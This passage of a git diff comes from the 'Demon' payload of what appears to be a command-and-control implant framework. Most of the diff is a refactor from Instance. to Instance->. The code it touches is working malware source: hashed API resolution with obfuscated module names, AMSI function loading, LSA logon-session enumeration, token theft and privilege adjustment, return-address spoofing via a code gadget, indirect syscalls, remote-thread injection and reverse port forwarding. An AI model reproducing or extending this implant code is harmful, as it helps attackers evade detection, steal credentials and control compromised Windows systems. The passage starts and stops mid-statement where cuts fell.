H_FUNC_WSAGETLASTERROR ); - Instance.Win32.ioctlsocket = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_IOCTLSOCKET ); - Instance.Win32.bind = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_BIND ); - Instance.Win32.listen = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_LISTEN ); - Instance.Win32.accept = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_ACCEPT ); - Instance.Win32.closesocket = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_CLOSESOCKET ); - Instance.Win32.recv = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_RECV ); - Instance.Win32.send = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_SEND ); - Instance.Win32.connect = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_CONNECT ); - Instance.Win32.getaddrinfo = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_GETADDRINFO ); - Instance.Win32.freeaddrinfo = LdrFunctionAddr( Instance.Modules.Ws2_32, H_FUNC_FREEADDRINFO ); + Instance->Win32.WSAStartup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASTARTUP ); + Instance->Win32.WSACleanup = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSACLEANUP ); + Instance->Win32.WSASocketA = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSASOCKETA ); + Instance->Win32.WSAGetLastError = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_WSAGETLASTERROR ); + Instance->Win32.ioctlsocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_IOCTLSOCKET ); + Instance->Win32.bind = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_BIND ); + Instance->Win32.listen = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_LISTEN ); + Instance->Win32.accept = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_ACCEPT ); + Instance->Win32.closesocket = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CLOSESOCKET ); + Instance->Win32.recv = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_RECV ); + Instance->Win32.send = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_SEND ); + Instance->Win32.connect = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_CONNECT ); + Instance->Win32.getaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_GETADDRINFO ); + Instance->Win32.freeaddrinfo = LdrFunctionAddr( Instance->Modules.Ws2_32, H_FUNC_FREEADDRINFO ); PUTS( "Loaded Ws2_32 functions" ) } else { @@ -409,16 +409,16 @@ BOOL RtSspicli( ModuleName[ 4 ] = HideChar('C'); ModuleName[ 3 ] = HideChar('I'); - if ( ( Instance.Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Sspicli = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS ); - Instance.Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE ); - Instance.Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS ); - Instance.Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED ); - Instance.Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER ); - Instance.Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE ); - Instance.Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA ); - Instance.Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance.Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS ); + Instance->Win32.LsaRegisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAREGISTERLOGONPROCESS ); + Instance->Win32.LsaLookupAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSALOOKUPAUTHENTICATIONPACKAGE ); + Instance->Win32.LsaDeregisterLogonProcess = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSADEREGISTERLOGONPROCESS ); + Instance->Win32.LsaConnectUntrusted = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACONNECTUNTRUSTED ); + Instance->Win32.LsaFreeReturnBuffer = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAFREERETURNBUFFER ); + Instance->Win32.LsaCallAuthenticationPackage = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSACALLAUTHENTICATIONPACKAGE ); + Instance->Win32.LsaGetLogonSessionData = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAGETLOGONSESSIONDATA ); + Instance->Win32.LsaEnumerateLogonSessions = LdrFunctionAddr( Instance->Modules.Sspicli, H_FUNC_LSAENUMERATELOGONSESSIONS ); PUTS( "Loaded Sspicli functions" ) } else { @@ -445,9 +445,9 @@ BOOL RtAmsi( ModuleName[ 1 ] = HideChar('M'); ModuleName[ 2 ] = HideChar('S'); - if ( ( Instance.Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.Amsi = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.AmsiScanBuffer = LdrFunctionAddr( Instance.Modules.Amsi, H_FUNC_AMSISCANBUFFER ); + Instance->Win32.AmsiScanBuffer = LdrFunctionAddr( Instance->Modules.Amsi, H_FUNC_AMSISCANBUFFER ); PUTS( "Loaded Amsi functions" ) } else { @@ -478,20 +478,20 @@ BOOL RtWinHttp( ModuleName[ 3 ] = HideChar('H'); ModuleName[ 5 ] = HideChar('T'); - if ( ( Instance.Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) { + if ( ( Instance->Modules.WinHttp = LdrModuleLoad( ModuleName ) ) ) { MemZero( ModuleName, sizeof( ModuleName ) ); - Instance.Win32.WinHttpOpen = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPOPEN ); - Instance.Win32.WinHttpConnect = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPCONNECT ); - Instance.Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST ); - Instance.Win32.WinHttpSetOption = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPSETOPTION ); - Instance.Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE ); - Instance.Win32.WinHttpSendRequest = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST ); - Instance.Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS ); - Instance.Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE ); - Instance.Win32.WinHttpReadData = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPREADDATA ); - Instance.Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS ); - Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER ); - Instance.Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance.Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL ); + Instance->Win32.WinHttpOpen = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPEN ); + Instance->Win32.WinHttpConnect = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCONNECT ); + Instance->Win32.WinHttpOpenRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPOPENREQUEST ); + Instance->Win32.WinHttpSetOption = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSETOPTION ); + Instance->Win32.WinHttpCloseHandle = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPCLOSEHANDLE ); + Instance->Win32.WinHttpSendRequest = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPSENDREQUEST ); + Instance->Win32.WinHttpAddRequestHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPADDREQUESTHEADERS ); + Instance->Win32.WinHttpReceiveResponse = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPRECEIVERESPONSE ); + Instance->Win32.WinHttpReadData = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPREADDATA ); + Instance->Win32.WinHttpQueryHeaders = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPQUERYHEADERS ); + Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETIEPROXYCONFIGFORCURRENTUSER ); + Instance->Win32.WinHttpGetProxyForUrl = LdrFunctionAddr( Instance->Modules.WinHttp, H_FUNC_WINHTTPGETPROXYFORURL ); PUTS( "Loaded WinHttp functions" ) } else { diff --git a/payloads/Demon/src/core/Socket.c b/payloads/Demon/src/core/Socket.c index db9041c..81b8875 100644 --- a/payloads/Demon/src/core/Socket.c +++ b/payloads/Demon/src/core/Socket.c @@ -12,7 +12,7 @@ BOOL RecvAll( SOCKET Socket, PVOID Buffer, DWORD Length, PDWORD BytesRead ) while ( tret < Length ) { - nret = Instance.Win32.recv( Socket, Start, Length - tret, 0 ); + nret = Instance->Win32.recv( Socket, Start, Length - tret, 0 ); if ( nret == SOCKET_ERROR ) { @@ -36,20 +36,20 @@ BOOL InitWSA( VOID ) DWORD Result = 0; /* Init Windows Socket. */ - if ( Instance.WSAWasInitialised == FALSE ) + if ( Instance->WSAWasInitialised == FALSE ) { PUTS( "Init Windows Socket..." ) - if ( ( Result = Instance.Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 ) + if ( ( Result = Instance->Win32.WSAStartup( MAKEWORD( 2, 2 ), &WsData ) ) != 0 ) { PRINTF( "WSAStartup Failed: %d\n", Result ) /* cleanup and be gone. */ - Instance.Win32.WSACleanup(); + Instance->Win32.WSACleanup(); return FALSE; } - Instance.WSAWasInitialised = TRUE; + Instance->WSAWasInitialised = TRUE; } return TRUE; @@ -75,7 +75,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB if ( UseIpv4 ) { - WinSock = Instance.Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL ); + WinSock = Instance->Win32.WSASocketA( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, NULL ); if ( WinSock == INVALID_SOCKET ) { PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() ) @@ -97,7 +97,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB } else { - WinSock = Instance.Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); + WinSock = Instance->Win32.WSASocketA( AF_INET6, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); if ( WinSock == INVALID_SOCKET ) { PRINTF( "WSASocketA Failed: %d\n", NtGetLastError() ) @@ -123,7 +123,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB if ( UseIpv4 ) { /* connect to host:port */ - if ( Instance.Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) + if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) { PRINTF( "connect failed: %d\n", NtGetLastError() ) goto CLEANUP; @@ -132,7 +132,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB else { /* connect to host:port */ - if ( Instance.Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR ) + if ( Instance->Win32.connect( WinSock, ( struct sockaddr * ) &SockAddr6, sizeof( SOCKADDR_IN6_LH ) ) == SOCKET_ERROR ) { PRINTF( "connect failed: %d\n", NtGetLastError() ) goto CLEANUP; @@ -140,7 +140,7 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB } /* set socket to non blocking */ - if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) + if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) goto CLEANUP; @@ -153,21 +153,21 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB // SOCKET_TYPE_REVERSE_PORTFWD only supports IPv4 /* set socket to non blocking */ - if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) + if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) == SOCKET_ERROR ) { PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* bind the socket */ - if ( Instance.Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) + if ( Instance->Win32.bind( WinSock, ( struct sockaddr * ) &SockAddr, sizeof( SOCKADDR_IN ) ) == SOCKET_ERROR ) { PRINTF( "bind failed: %d\n", NtGetLastError() ) goto CLEANUP; } /* now listen... */ - if ( Instance.Win32.listen( WinSock, 1 ) == SOCKET_ERROR ) + if ( Instance->Win32.listen( WinSock, 1 ) == SOCKET_ERROR ) { PRINTF( "listen failed: %d\n", NtGetLastError() ) goto CLEANUP; @@ -189,9 +189,9 @@ PSOCKET_DATA SocketNew( SOCKET WinSock, DWORD Type, BOOL UseIpv4, DWORD IPv4, PB Socket->FwdAddr = FwdAddr; Socket->FwdPort = FwdPort; Socket->Socket = WinSock; - Socket->Next = Instance.Sockets; + Socket->Next = Instance->Sockets; - Instance.Sockets = Socket; + Instance->Sockets = Socket; PRINTF( "SocketNew => ID:[%x] Parent:[%x] WinSock:[%x] Type:[%d] IPv4:[%lx] IPv6:[%lx] LclPort:[%ld] FwdAddr:[%lx] FwdPort:[%ld]\n", Socket->ID, ParentID, WinSock, Type, IPv4, IPv6, LclPort, FwdAddr, FwdPort ) @@ -202,7 +202,7 @@ CLEANUP: { // close the socket preserving the last error code ErrorCode = NtGetLastError(); - Instance.Win32.closesocket( WinSock ); + Instance->Win32.closesocket( WinSock ); NtSetLastError(ErrorCode); } @@ -218,7 +218,7 @@ VOID SocketClients() SOCKET WinSock = 0; u_long IoBlock = 1; - Socket = Instance.Sockets; + Socket = Instance->Sockets; /* First lets check for new clients */ for ( ;; ) @@ -235,11 +235,11 @@ VOID SocketClients() if ( Socket->Type == SOCKET_TYPE_REVERSE_PORTFWD ) { /* accept connection */ - WinSock = Instance.Win32.accept( Socket->Socket, NULL, NULL ); + WinSock = Instance->Win32.accept( Socket->Socket, NULL, NULL ); if ( WinSock != INVALID_SOCKET ) { /* set socket to non blocking */ - if ( Instance.Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR ) + if ( Instance->Win32.ioctlsocket( WinSock, FIONBIO, &IoBlock ) != SOCKET_ERROR ) { /* Add the client to the socket linked list so we can read from it later on */ Client = SocketNew( WinSock, SOCKET_TYPE_CLIENT, TRUE, Socket->IPv4, NULL, Socket->LclPort, Socket->FwdAddr, Socket->FwdPort, Socket->ID ); @@ -268,7 +268,7 @@ VOID SocketClients() PRINTF( "ioctlsocket failed: %d\n", NtGetLastError() ) /* close socket. */ - Instance.Win32.closesocket( WinSock ); + Instance->Win32.closesocket( WinSock ); } } } @@ -288,7 +288,7 @@ VOID SocketRead() BOOL Failed = FALSE; DWORD ErrorCode = 0; - Socket = Instance.Sockets; + Socket = Instance->Sockets; /* First lets check for new clients */ for ( ;; ) @@ -320,7 +320,7 @@ VOID SocketRead() * this might not be the same as the total amount of data queued on the socket. * because of this, we read for new data in a loop */ - if ( Instance.Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR ) + if ( Instance->Win32.ioctlsocket( Socket->Socket, FIONREAD, &PartialData.Length ) == SOCKET_ERROR ) { PRINTF( "Failed to get the read size from %x : %d\n", Socket->ID, Socket->Type ) @@ -328,7 +328,7 @@ VOID SocketRead() Socket->ShouldRemove = TRUE; Failed = TRUE; - ErrorCode = Instance.Win32.WSAGetLastError(); + ErrorCode = Instance->Win32.WSAGetLastError(); } if ( PartialData.Length > 0 ) @@ -337,7 +337,7 @@ VOID SocketRead() if ( ! RecvAll( Socket->Socket, PartialData.Buffer, PartialData.Length, &PartialData.Length ) ) { Failed = TRUE; - ErrorCode = Instance.Win32.WSAGetLastError(); + ErrorCode = Instance->Win32.WSAGetLastError(); } if ( PartialData.Length > 0 ) @@ -470,7 +470,7 @@ VOID SocketFree( PSOCKET_DATA Socket ) if ( Socket->Socket ) { - Instance.Win32.closesocket( Socket->Socket ); + Instance->Win32.closesocket( Socket->Socket ); Socket->Socket = 0; } @@ -489,7 +489,7 @@ VOID SocketCleanDead() * make that after the socket got used close it. * maybe add a timeout ? after the socket didn't got used after a certain period of time. */ - Socket = Instance.Sockets; + Socket = Instance->Sockets; for ( ;; ) { if ( ! Socket ) @@ -500,9 +500,9 @@ VOID SocketCleanDead() /* we are at the beginning. */ if ( ! SkLast ) { - Instance.Sockets = Socket->Next; + Instance->Sockets = Socket->Next; SocketFree( Socket ); - Socket = Instance.Sockets; + Socket = Instance->Sockets; } else { @@ -550,7 +550,7 @@ DWORD DnsQueryIPv4( LPSTR Domain ) hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; - Ret = Instance.Win32.getaddrinfo( Domain, NULL, &hints, &res ); + Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res ); if ( Ret != 0 ) { PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain ); @@ -559,7 +559,7 @@ DWORD DnsQueryIPv4( LPSTR Domain ) IP = ((struct sockaddr_in *)res->ai_addr)->sin_addr.S_un.S_addr; - Instance.Win32.freeaddrinfo( res ); + Instance->Win32.freeaddrinfo( res ); PRINTF( "Got IPv4 for %s: %d.%d.%d.%d\n", Domain, @@ -591,7 +591,7 @@ PBYTE DnsQueryIPv6( LPSTR Domain ) hints.ai_socktype = SOCK_STREAM; hints.ai_protocol = IPPROTO_TCP; - Ret = Instance.Win32.getaddrinfo( Domain, NULL, &hints, &res ); + Ret = Instance->Win32.getaddrinfo( Domain, NULL, &hints, &res ); if ( Ret != 0 ) { PRINTF( "getaddrinfo failed with %d for %s\n", Ret, Domain ); @@ -599,11 +599,11 @@ PBYTE DnsQueryIPv6( LPSTR Domain ) } // the caller is responsible for freeing this! - IPv6 = Instance.Win32.LocalAlloc( LPTR, 16 ); + IPv6 = Instance->Win32.LocalAlloc( LPTR, 16 ); MemCopy( IPv6, ((struct sockaddr_in6 *)res->ai_addr)->sin6_addr.u.Byte, 16 ); - Instance.Win32.freeaddrinfo( res ); + Instance->Win32.freeaddrinfo( res ); PRINTF( "Got IPv6 for %s: %02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x\n", Domain, diff --git a/payloads/Demon/src/core/Spoof.c b/payloads/Demon/src/core/Spoof.c index 456313c..66af132 100644 --- a/payloads/Demon/src/core/Spoof.c +++ b/payloads/Demon/src/core/Spoof.c @@ -3,25 +3,10 @@ #if _WIN64 -PVOID FindGadget( - IN LPBYTE Module, - IN ULONG Size -) { - for ( int x = 0; x < Size; x++ ) - { - if ( MemCompare( Module + x, "\xFF\x23", 2 ) == 0 ) - { - return ( PVOID )( Module + x ); - }; - }; - - return NULL; -} - PVOID SpoofRetAddr( - IN PVOID Module, - IN ULONG Size, - IN HANDLE Function, + _In_ PVOID Module, + _In_ ULONG Size, + _In_ HANDLE Function, _Inout_ PVOID a, _Inout_ PVOID b, _Inout_ PVOID c, @@ -31,14 +16,24 @@ PVOID SpoofRetAddr( _Inout_ PVOID g, _Inout_ PVOID h ) { - PVOID Trampoline = NULL; + PVOID Trampoline = { 0 }; + BYTE Pattern[] = { 0xFF, 0x23 }; + PRM Param = { NULL, NULL, NULL }; + + if ( Function != NULL ) { + Trampoline = MmGadgetFind( + C_PTR( U_PTR( Module ) + LDR_GADGET_HEADER_SIZE ), + U_PTR( Size ), + Pattern, + sizeof( Pattern ) + ); + + /* set params */ + Param.Trampoline = Trampoline; + Param.Function = Function; - if ( Function != NULL ) - { - Trampoline = FindGadget( Module, Size ); if ( Trampoline != NULL ) { - PRM param = { Trampoline, Function }; - return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, ¶m, NULL, e, f, g, h ); + return ( ( PVOID( * ) ( PVOID, PVOID, PVOID, PVOID, PPRM, PVOID, PVOID, PVOID, PVOID, PVOID ) ) ( ( PVOID ) Spoof ) ) ( a, b, c, d, &Param, NULL, e, f, g, h ); } } diff --git a/payloads/Demon/src/core/Syscalls.c b/payloads/Demon/src/core/Syscalls.c index ba05866..f24d733 100644 --- a/payloads/Demon/src/core/Syscalls.c +++ b/payloads/Demon/src/core/Syscalls.c @@ -27,7 +27,7 @@ BOOL SysInitialize( /* check if we managed to resolve it */ if ( SysIndirectAddr ) { - Instance.Syscall.SysAddress = SysIndirectAddr; + Instance->Syscall.SysAddress = SysIndirectAddr; } else { PUTS_DONT_SEND( "Failed to resolve SysIndirectAddr" ); } @@ -36,7 +36,7 @@ BOOL SysInitialize( #if _M_IX86 if ( IsWoW64() ) { - Instance.Syscall.SysAddress = __readfsdword(0xC0); + Instance->Syscall.SysAddress = __readfsdword(0xC0); } #endif diff --git a/payloads/Demon/src/core/Thread.c b/payloads/Demon/src/core/Thread.c index 134344e..a055299 100644 --- a/payloads/Demon/src/core/Thread.c +++ b/payloads/Demon/src/core/Thread.c @@ -32,7 +32,7 @@ BOOL ThreadQueryTib( DWORD ThreadId = 0; /* our current thread id */ - ThreadId = U_PTR( Instance.Teb->ClientId.UniqueThread ); + ThreadId = U_PTR( Instance->Teb->ClientId.UniqueThread ); ThdCtx.ContextFlags = CONTEXT_FULL; /* iterate over current process threads */ @@ -67,7 +67,7 @@ BOOL ThreadQueryTib( #if _WIN64 if ( NT_SUCCESS( SysNtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Rsp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) ) #else - if ( NT_SUCCESS( Instance.Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) ) + if ( NT_SUCCESS( Instance->Win32.NtQueryVirtualMemory( NtCurrentProcess(), C_PTR( ThdCtx.Esp ), MemoryBasicInformation, &Memory1, sizeof( Memory1 ), NULL ) ) ) #endif { /* query memory info about rsp address */ @@ -238,7 +238,7 @@ HANDLE ThreadCreate( } case THREAD_METHOD_CREATEREMOTETHREAD: { - Thread = Instance.Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId ); + Thread = Instance->Win32.CreateRemoteThread( Process, NULL, 0, Entry, Arg, 0, ThreadId ); break; } @@ -261,7 +261,7 @@ HANDLE ThreadCreate( } } else { PRINTF( "Failed to create new thread => NtStatus:[%x]\n", NtStatus ); - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); } break; diff --git a/payloads/Demon/src/core/Token.c b/payloads/Demon/src/core/Token.c index ce00d70..ac0434d 100644 --- a/payloads/Demon/src/core/Token.c +++ b/payloads/Demon/src/core/Token.c @@ -16,8 +16,8 @@ * * Add it to the first token (parent): * - * Token->Next = Instance.Tokens.Vault; - * Instance.Tokens.Vault = Token; + * Token->Next = Instance->Tokens.Vault; + * Instance->Tokens.Vault = Token; * * Might reduce some code which i care more than * token order. @@ -57,8 +57,8 @@ BOOL TokenDuplicate( /* duplicate token using native call */ if ( ! NT_SUCCESS( NtStatus = SysNtDuplicateToken( TokenOriginal, Access, &ObjAttr, FALSE, TokenType, TokenNew ) ) ) { - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); - PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); + PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } @@ -78,7 +78,7 @@ BOOL TokenRevSelf( NTSTATUS NtStatus = STATUS_SUCCESS; if ( ! NT_SUCCESS( NtStatus = SysNtSetInformationThread( NtCurrentThread(), ThreadImpersonationToken, &Token, sizeof( HANDLE ) ) ) ) { - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } @@ -131,7 +131,7 @@ BOOL TokenQueryOwner( } /* now get the Username and Domain from the Sid */ - if ( ! Instance.Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) ) + if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, NULL, &UserLen, NULL, &DomnLen, &SidType ) ) { SidType = 0; @@ -158,7 +158,7 @@ BOOL TokenQueryOwner( } /* now lets try to get the owner */ - if ( ! Instance.Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) { + if ( ! Instance->Win32.LookupAccountSidW( NULL, UserInfo->User.Sid, User, &UserLen, Domain, &DomnLen, &SidType ) ) { PRINTF( "LookupAccountSidW Error => %d\n", NtGetLastError() ); goto LEAVE; } @@ -209,7 +209,7 @@ BOOL TokenSetPrivilege( NTSTATUS NtStatus = STATUS_SUCCESS; HANDLE hToken = NULL; - if ( ! Instance.Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) { + if ( ! Instance->Win32.LookupPrivilegeValueA( NULL, Privilege, &TokenLUID ) ) { PRINTF( "[-] LookupPrivilegeValue error: %u\n", NtGetLastError() ); return FALSE; } @@ -224,12 +224,12 @@ BOOL TokenSetPrivilege( } if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess( ), TOKEN_ALL_ACCESS, &hToken ) ) ) { - if ( ! Instance.Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) { + if ( ! Instance->Win32.AdjustTokenPrivileges( hToken, FALSE, &TokenPrivileges, 0, NULL, NULL ) ) { PRINTF( "[-] AdjustTokenPrivileges error: %u\n", NtGetLastError() ); return FALSE; } } else { - PRINTF( "NtOpenProcessToken: Failed [%d]", Instance.Win32.RtlNtStatusToDosError( NtStatus ) ) + PRINTF( "NtOpenProcessToken: Failed [%d]", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) return FALSE; } @@ -333,7 +333,7 @@ DWORD TokenAdd( PTOKEN_LIST_DATA TokenEntry = NULL; DWORD TokenIndex = 0; - TokenEntry = Instance.Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) ); + TokenEntry = Instance->Win32.LocalAlloc( LPTR, sizeof( TOKEN_LIST_DATA ) ); TokenEntry->Handle = hToken; TokenEntry->DomainUser = DomainUser; TokenEntry->dwProcessID = dwProcessID; @@ -343,12 +343,12 @@ DWORD TokenAdd( TokenEntry->lpPassword = Password; TokenEntry->NextToken = NULL; - if ( Instance.Tokens.Vault == NULL ) { - Instance.Tokens.Vault = TokenEntry; + if ( Instance->Tokens.Vault == NULL ) { + Instance->Tokens.Vault = TokenEntry; return TokenIndex; } - TokenList = Instance.Tokens.Vault; + TokenList = Instance->Tokens.Vault; /* add TokenEntry to Token linked list */ while ( TokenList->NextToken != NULL ) { @@ -397,8 +397,8 @@ BOOL SysDuplicateTokenEx( DuplicateTokenHandle); if ( ! NT_SUCCESS( NtStatus ) ) { - PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); - NtSetLastError( 